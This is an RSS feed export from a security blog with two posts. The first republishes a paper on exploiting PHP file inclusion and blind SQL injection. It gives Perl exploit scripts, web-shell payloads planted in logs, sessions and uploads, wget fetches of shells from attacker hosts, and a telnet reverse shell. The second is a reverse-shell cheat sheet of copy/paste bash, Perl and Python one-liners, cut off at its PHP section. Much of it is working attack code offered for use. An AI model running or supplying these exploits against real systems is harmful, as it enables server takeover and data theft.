<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU...Ubuntuonline - Open and Security</title>
	<atom:link href="http://ubuntuonline.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://ubuntuonline.wordpress.com</link>
	<description></description>
	<lastBuildDate>Thu, 05 Jan 2012 07:49:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='ubuntuonline.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU...Ubuntuonline - Open and Security</title>
		<link>http://ubuntuonline.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://ubuntuonline.wordpress.com/osd.xml" title="UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU...Ubuntuonline - Open and Security" />
	<atom:link rel='hub' href='http://ubuntuonline.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Web vulnerabilities to gain access to the system</title>
		<link>http://ubuntuonline.wordpress.com/2011/11/24/web-vulnerabilities-to-gain-access-to-the-system/</link>
		<comments>http://ubuntuonline.wordpress.com/2011/11/24/web-vulnerabilities-to-gain-access-to-the-system/#comments</comments>
		<pubDate>Thu, 24 Nov 2011 04:20:31 +0000</pubDate>
		<dc:creator>ubuntuonline administrator</dc:creator>
				<category><![CDATA[Trick]]></category>
		<category><![CDATA[Tutorial]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://ubuntuonline.wordpress.com/?p=583</guid>
		<description><![CDATA[&#124;=--------=[ Web vulnerabilities to gain access to the system ]=---------=&#124; &#124;=-----------------------------------------------------------------------=&#124; &#124;=----=[ pepelux[at]enye-sec[dot]org - &#60;http://www.enye-sec.org&#62; ]=------=&#124; &#124;=-----------------------------------------------------------------------=&#124; &#124;=----=[ spanish translation available in http://www.enye-sec.org ]=-----=&#124; &#124;=-----------------------------------------------------------------------=&#124; &#124;=---------------------------=[ Oct 12th 2008 ]-=------------------------=&#124; --[ Content 1 - Introduction 2 - Local and Remote File Inclusion (LFI/RFI) 2.1 - Introduction 2.2 - Executing commands remotely 2.2.1 - Injecting PHP [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=583&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre>|=--------=[ Web vulnerabilities to gain access to the system ]=---------=|
|=-----------------------------------------------------------------------=|
|=----=[ pepelux[at]enye-sec[dot]org - &lt;http://www.enye-sec.org&gt; ]=------=|
|=-----------------------------------------------------------------------=|
|=----=[ spanish translation available in http://www.enye-sec.org ]=-----=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ Oct 12th 2008 ]-=------------------------=|</pre>
<p><span id="more-583"></span></p>
<pre>--[ Content

  1 - Introduction

  2 - Local and Remote File Inclusion (LFI/RFI)
   2.1 - Introduction
   2.2 - Executing commands remotely
    2.2.1 - Injecting PHP code into apache logs
    2.2.2 - Injecting PHP code into process table
    2.2.3 - Injecting PHP code into an image
    2.2.4 - Injecting PHP code into session files
    2.2.5 - Injecting PHP code into other files
   2.3 - Obtaining a shell
   2.4 - Remote File Inclusion

  3 - Blind SQL Injection
   3.1 - Introduction
   3.2 - Loading local files
   3.3 - Obtaining data without brute force
   3.4 - Executing commands remotely
   3.5 - Obtaining a shell

  4 - References

---[ 1 - Introduction

There are a lot of vulnerabilities that allow us to exploit a website, all of
them are old and documented. We can found LFI, RFI, SQL, XSS, SSI, ICH and
other attacks. For that reason I'm going to center this paper only in attacks
that allow us access to the system and to execute commands remotely.

It would be bored to write another paper with all types of vulnerabilities,
telling the same you know, for that I'll try to contribute with any new thing
and remember basic concepts superficially.

---[ 2 - Local and Remote File Inclusion (LFI/RFI)

----[ 2.1 - Introduction

This type of attacks are well known and basically consists in to read system
files using bad programmed PHP pages that make calls to another files by
require, require_once, include or include_once commands. Logically, this calls
must use any variable not initialized. Example:

    require($file);
    require("includes/".$file);
    require("languages/".$lang.".php");
    require("themes/".$tema."/config.php");

The methods to exploit it are well known and I'm not go to detail its, I'm going
to enumerate it only. For example:

Type of call:
    require($file);

Exploit:

http://host/?file=/etc/passwd

Type of call:
    require("includes/".$file);

Exploit:

http://host/?file=../../../../../etc/passwd

Tpye of calls:
    require("languages/".$lang.".php");
    require("themes/".$theme."/config.php");

Exploit:

http://host/?file=../../../../../etc/passwd%00

Type of call:
    require("languages/".$_COOKIE['lang'].".php");

Exploit:
    javascript:document.cookie = "lan=../../../../../etc/passwd%00";

One script to exploit this type of vulnerabilites, by GET or POST, could be:

lfi.pl
---------------------------------------------
#! /usr/bin/perl

# perl script to exploit LFI based in GET and POST requests
# Example: http://site.com/index.php?var=
#   URL: http://site.com/index.php
#   Variable: var
#   Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent-&gt;new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
   print "Usage: perl $0 &lt;url&gt; &lt;vulnerable_var&gt; &lt;method&gt;\n";
   print "\tex: perl $0 http://site.com/index.php var GET\n";
   print "\tex: perl $0 http://site.com/index.php var POST\n\n";
   exit 1;
}

$ua-&gt;agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
$ua-&gt;timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

while () {
   print "file to edit: ";
   chomp($file=&lt;STDIN&gt;);

   if ($method =~ /GET/) {
      $url = $host."?".$var."=../../../../..".$file."%00";
      $req = HTTP::Request-&gt;new(GET =&gt; $url);
      $req-&gt;header('Accept' =&gt; 'text/html');
   }
   else {
      $req = HTTP::Request-&gt;new(POST =&gt; $host);
      $req-&gt;content_type('application/x-www-form-urlencoded');
      $req-&gt;content($var."=../../../../".$file."%00");
   }

   $res = $ua-&gt;request($req);

   if ($res-&gt;is_success) {
      $result = $res-&gt;content;
      print $result;
   }
   else { print "Error\n"; }
}
---------------------------------------------

----[ 2.2 - Executing commands remotely

We've seen with this type of vulnerabilities is possible to view any system
file where web user has readable access, but also is possible to execute
system commands. To do that we need to write in any file this php code:
&lt;? passthru($_GET[cmd]) ?&gt; 

cmd is the name we put to our variable to send it data by GET.

Now, we only have to search any place where we can write data. How can we do
that? we have several methods:

-----[ 2.2.1 - Injecting PHP code into apache logs

We know that apache server saves logs of all operations, in access_log and
error_log. We can play with registered datas and try to inject PHP code.

For example, to inject in error_log file is enough to do a call to a
nonexistent page but sending the code we need to write in the file:
    http://host/xxxxxxx=&lt;? passthru(\$_GET[cmd]) ?&gt; 

This will add a line into error_log injecting the code we have written. And
now? we only have to load this file with the same method we did before and send
by cmd variable the command we'd like to execute:
    http://host/?file=../../../var/apache/error_log&amp;cmd=ls /etc
    http://host/?file=../../../var/apache/error_log&amp;cmd=uname -a

But, how can we know the apache logs location? It depends of the operating
system and the sysadmin. One option is to search typical directories where
logs are saved:
    /var/log/apache/
    /var/log/httpd/
    /usr/local/apache/logs/
    ......

In a shared server we can see this situation:
    /path/host.com/www
                  /logs
                  /data

On this case, to know the path we only have to write a nonexisting file, for
example:

http://host/?file=xxxx

We will see in the sscreen any similar to this:
    Warning: require(xxxx) [function.require]: failed to open stream: No such
    file or directory in /var/www/host.com/www/p.php on line 2

We can intuit that log files could be in /var/www/host.com/logs

Another method to locate logs path could be viewing httpd.conf config file
where we can see any similar to this:
    ErrorLog /var/log/apache/error.log

Or in the case of a shared server:
    ErrorLog /home/chs/host.com/home/logs/error_log

But as I wrote before, it depends of the operating system, apache version and
the sysadmin, for that is possible logs are not on this location.

We also can locate apache logs path searching in the process table:
/proc/{PID}/fd/{FD_ID} (the problem is that fd directory is only accesible by
the user in some systems).

To locate the PID of our apache session we can make an HTTP request and next
read /proc/self/stat content. Self is a link to the last PID used in the
system, for that, we can read files watching on /proc/self.

Inside /proc/{PID}/fd there are only a few links to analyze, founding access_log
and error_log path. To do this task we are going to use this perl script, that
search all links inside /proc/self/fd/ directory to locate error_log path:

proc.pl
---------------------------------------------
#! /usr/bin/perl

# perl script to serach apache logs path
# Example:
#   URL: http://site/index.php
#   Variable: file
#   Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent-&gt;new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
   print "Usage: perl $0 &lt;url&gt; &lt;vulnerable_var&gt; &lt;method&gt;\n";
   print "\tex: perl $0 http://site.com/index.php file GET\n";
   print "\tex: perl $0 http://site.com/index.php file POST\n\n";
   exit 1;
}

$ua-&gt;agent("&lt;? passthru(\$_GET[cmd]) ?&gt;");
$ua-&gt;timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

if ($method =~ /GET/) {
  $url = $host."?".$var."=../../../../proc/self/stat%00";
  $req = HTTP::Request-&gt;new(GET =&gt; $url);
  $req-&gt;header('Accept' =&gt; 'text/html');
}
else {
  $req = HTTP::Request-&gt;new(POST =&gt; $host);
  $req-&gt;content_type('application/x-www-form-urlencoded');
  $req-&gt;content($var."=../../../../proc/self/stat%00");
}

$res = $ua-&gt;request($req);

if ($res-&gt;is_success) {
  $result = $res-&gt;content;
  $result =~ s/&lt;[^&gt;]*&gt;//g;
  $x = index($result, " ", 0);
  $pid = substr($result, 0, $x);

  print "Apache PID: ".$pid."\n";
}

if ($method =~ /GET/) {
  $url = $host."?".$var."=../../../../proc/self/status%00";
  $req = HTTP::Request-&gt;new(GET =&gt; $url);
  $req-&gt;header('Accept' =&gt; 'text/html');
}
else {
  $req = HTTP::Request-&gt;new(POST =&gt; $host);
  $req-&gt;content_type('application/x-www-form-urlencoded');
  $req-&gt;content($var."=../../../../proc/self/status%00");
}

$res = $ua-&gt;request($req);

if ($res-&gt;is_success) {
  $result = $res-&gt;content;
  $result =~ s/&lt;[^&gt;]*&gt;//g;
  $x = index($result, "FDSize",0)+8;
  $fdsize = substr($result, $x, 3);

  print "FD_SIZE: ".$fdsize."\n";
}

for ($cont = 0; $cont &lt; $fdsize; $cont++) {
  $file = "../../../../proc/".$pid."/fd/".$cont;
  open FILE, $file;

  while(&lt;FILE&gt;) {
    if (($_ =~ /does not exist/) &amp;&amp; ($_ =~ /passthru/)) {
      print "FD: ".$cont."\n";
      exit;
    }
  }
}
---------------------------------------------

pepelux:~$ perl proc.pl http://host/index.php page GET
    Apache PID: 4191
    FD_SIZE: 64
    FD: 2

If the script locate FD is because /proc/{PID}/fd/{FD_ID} is readable by the
user and we'll have, on this case, a link to error_log on/proc/4191/fd/2.
Modifying the script we could add a call to
http://host/?file=/proc/4191/fd/2&amp;cmd=uname -a (see the first script).

We also can make the injection using an URL that doesn't back an error and log
operation will be saved on access_log:
    http://host/index.php?x=&lt;? passthru(\$_GET[cmd]) ?&gt; 

Is possible that apache doesn't save correctly the injection or it change &lt;? or
?&gt; with its hex value. On this case we can't do anything by GET and we'd try to
send PHP command by POST, for example using perl.

More data saved by apache on access_log and where we can inject are referer or
user-agent.

We are going to do some tests using this perl script:

cmd.pl
---------------------------------------------
#! /usr/bin/perl

# perl script to inject a CMD in a web LFI vulnerable
# Example:
#   Host: http://host.com
#   type: U
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent-&gt;new;

my ($host, $type) = @ARGV ;
$code="&lt;? passthru(\$_GET[cmd]) ?&gt;";

unless($ARGV[1]) {
   print "Usage: perl $0 &lt;url&gt; [URI|UAG|REF]\n";
   print "\tURI: URI\n";
   print "\tUAG: User-Agent\n";
   print "\tREF: Referer\n\n";
   print "\tex: perl $0 http://host.com URI\n";
   exit 1;
}

$host = "http://".$host if ($host !~ /^http:/);

if ($type =~ /UAG/) { $ua-&gt;agent($code); }
else { $ua-&gt;agent("Mozilla/5.0"); }

if ($type =~ /URI/) { $$host .= "/" . $code; }

$req = HTTP::Request-&gt;new(POST =&gt; $host);
$req-&gt;content_type('application/x-www-form-urlencoded');
$req-&gt;content("x=x");

if ($type =~ /REF/) { $req-&gt;referer($code); }

$res = $ua-&gt;request($req);
---------------------------------------------

Writing in error_log sending a nonexisting URI:
    pepelux:~$ perl cmd.pl http://host.com/blabla URI

In error_log we can see:
    [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
    exist: /home/chs/host.com/home/html/blabla

Trying with the User-Agent:
    pepelux:~$ perl cmd.pl http://host.com/blabla UAG

In error_log we can see the same:
    [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
    exist: /home/chs/host.com/home/html/blabla

Trying with the Referer:
    pepelux:~$ perl cmd.pl http://host.com/blabla REF

In this case we obtain the injection:
    [Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not
    exist: /home/chs/host.com/home/html/blabla, referer: &lt;? passthru($_GET[cmd])
    ?&gt;

Now we are going to write in access_log that saves more information that
error_log:
    pepelux:~$ perl cmd.pl http://host.com/index.php URI

On this case we obtain:
    11.22.33.44 - - [08/Oct/2008:12:57:39 +0200] "POST
    /index.php/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 301 - "-"
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820
    Firefox/3.0.1"

Trying with the User-Agent:
    pepelux:~$ perl cmd.pl http://host.com/index.php UAG

We obtain the injection:
    11.22.33.44 - - [08/Oct/2008:13:00:05 +0200] "POST
    /index.php HTTP/1.1" 301 - "-" "&lt;? passthru($_GET[cmd]) ?&gt;"

Trying with the Referer:
    pepelux:~$ perl cmd.pl http://host.com/index.php REF

We also obtain the injection:
    11.22.33.44 - - [08/Oct/2008:13:00:56 +0200] "POST
    /index.php HTTP/1.1" 301 - "&lt;? passthru($_GET[cmd]) ?&gt;" "Mozilla/5.0 (X11;
    U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1"

-----[ 2.2.2 - Injecting PHP code into process table

I've found a paper (you can see down the reference) that explains how to inject
into /proc/self/environ, that it is an static path we always know. The problem
is that normally this file is only accesible by root and we can't read it.

As I wrote before, /proc/self is a link to the last PID used, for that we don't
need to search our apache process PID because we can access directly by the self
link. Attack consists in make an injection on User-Agent sending after a call to
this file: http://host/?file=../../../proc/self/environ&amp;cmd=uname -a

We'd have to do this with a little script because we have to inject and send
command inmediately before self link changes to another PID process.

-----[ 2.2.3 - Injecting PHP code into an image

Is very typical to found websites that allow us to upload images (for example,
avatars) that are saved in the server. But what would happend if we upload a
file with the content: &lt;? passthru($_GET[cmd]) ?&gt; but with any image extension?
we colud upload without problems because extension is correct and we'd do a LFI
attack with the same method:
    http://host/?file=path/avatar.gif&amp;cmd=uname -a

-----[ 2.2.4 - Injecting PHP code into session files

Suopose this vulnerable code:

    &lt;?php
      $user = $_GET['user'];
      session_register("user");
      session_start();
    ?&gt;

As we can see, it creates a session variable using a value obtained by GET
without any verifications.

We can send:
    http://host/?user=&lt;? passthru($_GET[cmd]) ?&gt;

And viewing the cookies of our navigator we can see that:
    PHPSESSID=b25ca6fea480073cf8eb840b203d343e

Analyzing session folder of our system we can see the content:
    pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
             user|s:26:"&lt;? passthru($_GET[cmd]) ?&gt;";

As you see, we can inject code on the file that saved our session and we also
can execute commands using this file:
    http://host/?file=/tmp/sess_b25ca6fea480073cf8eb840b203d343e&amp;cmd=uname -a

On this case location file is known and we can select it without problems. If
GET is filtered we can send it using POST.

-----[ 2.2.5 - Injecting PHP code into other files

Normally we don't have access because only root can read this files but is
possible to inject our code in other logs, for example in FTP logs:
    pepelux:~$ ftp host.com
    220 ProFTPD 1.3.1 Server (Debian) [host.com]
    Name (pepelux): &lt;? passthru($_GET[cmd]) ?&gt;
    Password:

If we watch /var/log/proftpd/proftpd.log we can see our code injected:
    Oct 09 21:50:21 host.com proftpd[11190] host.com
    ([11.22.33.44]): USER &lt;? passthru($_GET[cmd]) ?&gt;: no such user found
    from [11.22.33.44] to host.com:21

If the vulnerable server use an old version of webalizer and if it's accessible
by web, we also can use the file usage_DATE.html to execute any code because
this file is generated with the visit statistics using access_log and a bug
that affect old versions of webalizer permits to write HTML code on referer.
For example: Referer: &lt;? passthru($_GET[cmd]) ?&gt;

You only have to do a curl of calls with this referer to enter in the most sent
and appears in the usage_DATE.html file.

In case that apache server admits the PUT command we also can upload a file
with our code:
    pepelux:~$ telnet host.com 80
    Trying 11.22.33.44...
    Connected to host.com.
    Escape character is '^]'.
    OPTIONS / HTTP/1.1

    HTTP/1.1 200 OK
    Date: Sat, 11 Oct 2008 15:06:05 GMT
    Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
    Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
    Content-Length: 0
    Connection: close
    Content-Type: httpd/unix-directory

    Connection closed by foreign host.

To inject:
    pepelux:~$ telnet host.com 80
    Trying 11.22.33.44...
    Connected to host.com.
    Escape character is '^]'.
    PUT /file.txt HTTP/1.1
    Content-Type: text/plain
    Content-Length:26

    &lt;? passthru($_GET[cmd]) ?&gt;

----[ 2.3 - Obtaining a shell

If we can execute commands remotely we can try to upload a shell to have more
access to the system.

One method is creating a PHP based shell. We can download it using wget command:
    http://host/?file=xxxx&amp;cmd=wget http://devil/shell.txt -O shell.php

As we can't download a PHP file by HTTP, we can download a TXT file and save it
as PHP.

We also can try to do a reverse telnet:
    pepelux:~$ nc -vv -l -p 8888
    pepelux:~$ nc -vv -l -p 8889

    http://host/?file=xxxx&amp;cmd=telnet devil 8888 | /bin/sh | telnet devil 8889

----[ 2.4 - Remote File Inclusion

If allow_url_include is On in php.ini, we can inject a shell directly. Method
is  the same I've wrote before and it's well known. You only need to load by
GET or POST directly to an URI with the shell (using a non PHP extension):

http://host/?file=http://devil.com/shell.txt

http://host/?file=http://devil.com/shell.txt%00

---[ 3 - Blind SQL Injection

----[ 3.1 - Introduction

SQL injection attacks are also well known and very docummented. I don't like to
write more of the same. I'm going to write only about the techinque that allow
to read system files.

----[ 3.2 - Loading local files

With a web vulnerable to SQL injections (this paper is based on MySQL), if the
user used has permissions to do a load_file, we can read any system file, for
example, /etc/passwd.

Example:

Table: users(id int, user char(25), pass char(25), mail char(255));

Datas:
    +---+---------+----------------------------------+--------------+
    | 1 | admin   | 23e4ad2360f4ef4268cb44871375a5cd | admin@host   |
    +---+---------+----------------------------------+--------------+
    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
    +---+---------+----------------------------------+--------------+

Vulnerable code:

&lt;?php
      $iduser = $_GET['id'];
      $link = mysql_connect("localhost", "mysql_user", "mysql_password");
      mysql_select_db("database", $link);

      $result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
      $row = mysql_fetch_array($result);

      echo "User mail is:" . $row["mail"] . "\n";
?&gt;

We have an unknown table, with unknown fields and a MySQL that doesn't show any
error in the screen.

&gt; correct call that show mail of user 2:

http://host/?id=2

&gt; we try to reorder query results by SQL injection:
    http://host/?id=2 ORDER BY 1 ... Ok
    http://host/?id=2 ORDER BY 2 ... Ok
    http://host/?id=2 ORDER BY 3 ... Ok
    http://host/?id=2 ORDER BY 4 ... Ok
    http://host/?id=2 ORDER BY 5 ... Error

Why ORDER BY 5 causes an error? if we use ORDER BY 2 we are telling MySQL that
order results by the user, with ORDER BY 3, we tell it that order by pass
column, but as we only have 4 columns on this table, ORDER BY 5 causes an error.

Why is it useful? we can know the number of columns that this table has.

&gt; modifing the anwser we can see in the screen (we know there are 4 columns):
    http://host/?id=-1 UNION SELECT 1,2,3,4

What do it? It we search the user with ID=-1, it response with 0 results and it
will create a new line with the injected data. Why do we use ID=-1? We can see a
practical example:

We send:
    http://host/?id=2 UNION SELECT 1,2,3,4

We obtain:
    +---+---------+----------------------------------+--------------+
    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
    +---+---------+----------------------------------+--------------+
    | 1 | 2       | 3                                | 4            |
    +---+---------+----------------------------------+--------------+

As this select only the first line, we'll see in the screen:
    User mail is: pepelux@host

If we put ID=-1 we'll obtain the injected data:

We send:
    http://host/?id=-1 UNION SELECT 1,2,3,4

We obtain:
    +---+---------+----------------------------------+--------------+
    | 1 | 2       | 3                                | 4            |
    +---+---------+----------------------------------+--------------+

In the screen we will see:
    User mail is: 4

&gt; We can use 4th column (that we can see it in the screen) to inject:
    http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');

It will show in the screen /etc/passwd content in the mail user place (this is
possible only if the mysql user used has permissions to execute load_file).

In the case that magic_quotes are On we can use the hex value:
    http://host/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);

A difference between to read files using LFI and to read it using SQL injection
is that the user used to read files is different. On the first case we use the
apache user and on the second case we use the MySQL user. This is not very
important by it can be useful to read same files with different permissions.

----[ 3.3 - Obtaining data without brute force

Supose this situation with the same vulnerable code as I wrote before:

Table: users(id int, user char(25), pass char(25), mail char(255));

Datas:
    +---+---------+----------------------------------+--------------+
    | 1 | admin   | 23e4ad2360f4ef4268cb44871375a5cd | admin@host   |
    +---+---------+----------------------------------+--------------+
    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
    +---+---------+----------------------------------+--------------+

&lt;?php
      $iduser = $_GET['$id'];
      $link = mysql_connect("localhost", "mysql_user", "mysql_password");
      mysql_select_db("database", $link);

      $result = mysql_query("SELECT * FROM usuarios WHERE id=$iduser", $link);
      $row = mysql_fetch_array($result);

      echo "User mail is:" . $row["mail"] . "\n";
?&gt;

We can see all data of this table if we do that:
    http://host/?id=1 outfile "/tmp/sql.txt"
    http://host/?id=-1 UNION SELECT 1,2,3,load_file('/tmp/sql.txt');

/tmp/sql.txt content is:
    1       admin    23e4ad2360f4ef4268cb44871375a5cd	admin@host

As we can see, we have extracted all data of the user with ID=1 without know the
table name or the fields names. With the same method we can extract all user
fields.

The problem of this attack is that we only can read data of the table that is
used in the query.

Using this technique we can also copy system files in the local directory to
access it by web, for example:
    http://host/?id=-1 union select 1,load_file("/etc/passwd"),1 into outfile
    "/var/www/host.com/www/passwd"

And we can create PHP files. For example:
    http://host/?id=-1 union select 1,"&lt;?phpinfo()?&gt;",1 into outfile
    "/var/www/host.com/www/phpinfo.php"

----[ 3.4 - Executing commands remotely

We have seen several methods to inject &lt;? passthru($_GET[cmd]) ?&gt; that give us
the possibility to execute commands remotely. Main problem we found is to
locate a file to write the PHP code. With the apache logs is complicated to
find the location and also is possible that the user doesn't have permissions
to read it.

On this case is easy to cause an error that show us in the screen the path of
the website. If we know it we can create a PHP file with the code that allow us
to execute commands:
    http://host/?id=-1 union select 1,"&lt;?passthru($_GET[cmd])?&gt;",1 into outfile
    "/var/www/host.com/www/cmd.php"

Next we only have to do:
    http://host/cmd.php?cmd=uname -a

If the website is vulnerable to LFI attacks we can write the PHP code in any
place that we have writeable permissions. For example in /tmp:

First, we can inject code in a file on /tmp:
    http://host/?id=-1 union select 1,"&lt;? passthru($_GET[cmd]) ?&gt;",1,1 into
    outfile "/tmp/sql.txt"

Next we use LFI to execute commands:
    http://host/?file=../../../tmp/sql.txt&amp;cmd=uname -a

----[ 3.5 - Obtaining a shell

If we have created a file containing our PHP code, the method to obtain a shell
is the same that I described before for LFIs (you can see point 2.3)  <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> 

---[ 4 - References

- http://www.g-brain.net/tutorials/local-file-inclusions.txt
- http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt
- http://www.securityfocus.com/bid/3473
- http://dev.mysql.com/doc/</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/ubuntuonline.wordpress.com/583/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/ubuntuonline.wordpress.com/583/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/ubuntuonline.wordpress.com/583/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/ubuntuonline.wordpress.com/583/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/ubuntuonline.wordpress.com/583/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/ubuntuonline.wordpress.com/583/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/ubuntuonline.wordpress.com/583/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/ubuntuonline.wordpress.com/583/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/ubuntuonline.wordpress.com/583/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/ubuntuonline.wordpress.com/583/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/ubuntuonline.wordpress.com/583/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/ubuntuonline.wordpress.com/583/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/ubuntuonline.wordpress.com/583/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/ubuntuonline.wordpress.com/583/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=583&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://ubuntuonline.wordpress.com/2011/11/24/web-vulnerabilities-to-gain-access-to-the-system/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/98ee6dfc14886fa2dcdf50c90beb8dab?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">dienbienphu023</media:title>
		</media:content>
	</item>
		<item>
		<title>Reverse Shell Cheat Sheet</title>
		<link>http://ubuntuonline.wordpress.com/2011/11/08/reverse-shell-cheat-sheet/</link>
		<comments>http://ubuntuonline.wordpress.com/2011/11/08/reverse-shell-cheat-sheet/#comments</comments>
		<pubDate>Tue, 08 Nov 2011 04:12:35 +0000</pubDate>
		<dc:creator>ubuntuonline administrator</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Trick]]></category>

		<guid isPermaLink="false">http://ubuntuonline.wordpress.com/?p=578</guid>
		<description><![CDATA[If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell. If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=ubuntuonline.wordpress.com&amp;blog=8905876&amp;post=578&amp;subd=ubuntuonline&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.</p>
<p>If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.</p>
<p><span id="more-578"></span>Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.</p>
<p>The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.</p>
<p>Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.</p>
<h3>Bash</h3>
<p>Some versions of <a href="http://www.gnucitizen.org/blog/reverse-shell-with-bash/">bash can send you a reverse shell</a> (this was tested on Ubuntu 10.10):</p>
<blockquote>
<pre>bash -i &gt;&amp; /dev/tcp/10.0.0.1/8080 0&gt;&amp;1</pre>
</blockquote>
<h3>PERL</h3>
<p>Here’s a shorter, feature-free version of the <a href="http://pentestmonkey.net/tools/web-shells/perl-reverse-shell">perl-reverse-shell</a>:</p>
<blockquote>
<pre>perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'</pre>
</blockquote>
<p>There’s also an <a href="http://www.plenz.com/reverseshell">alternative PERL revere shell here</a>.</p>
<h3>Python</h3>
<p>This was tested under Linux / Python 2.7:</p>
<blockquote>
<pre>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</pre>
</blockquote>
<h3>PHP</h3>
<p>This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…</p>
<blockquote>
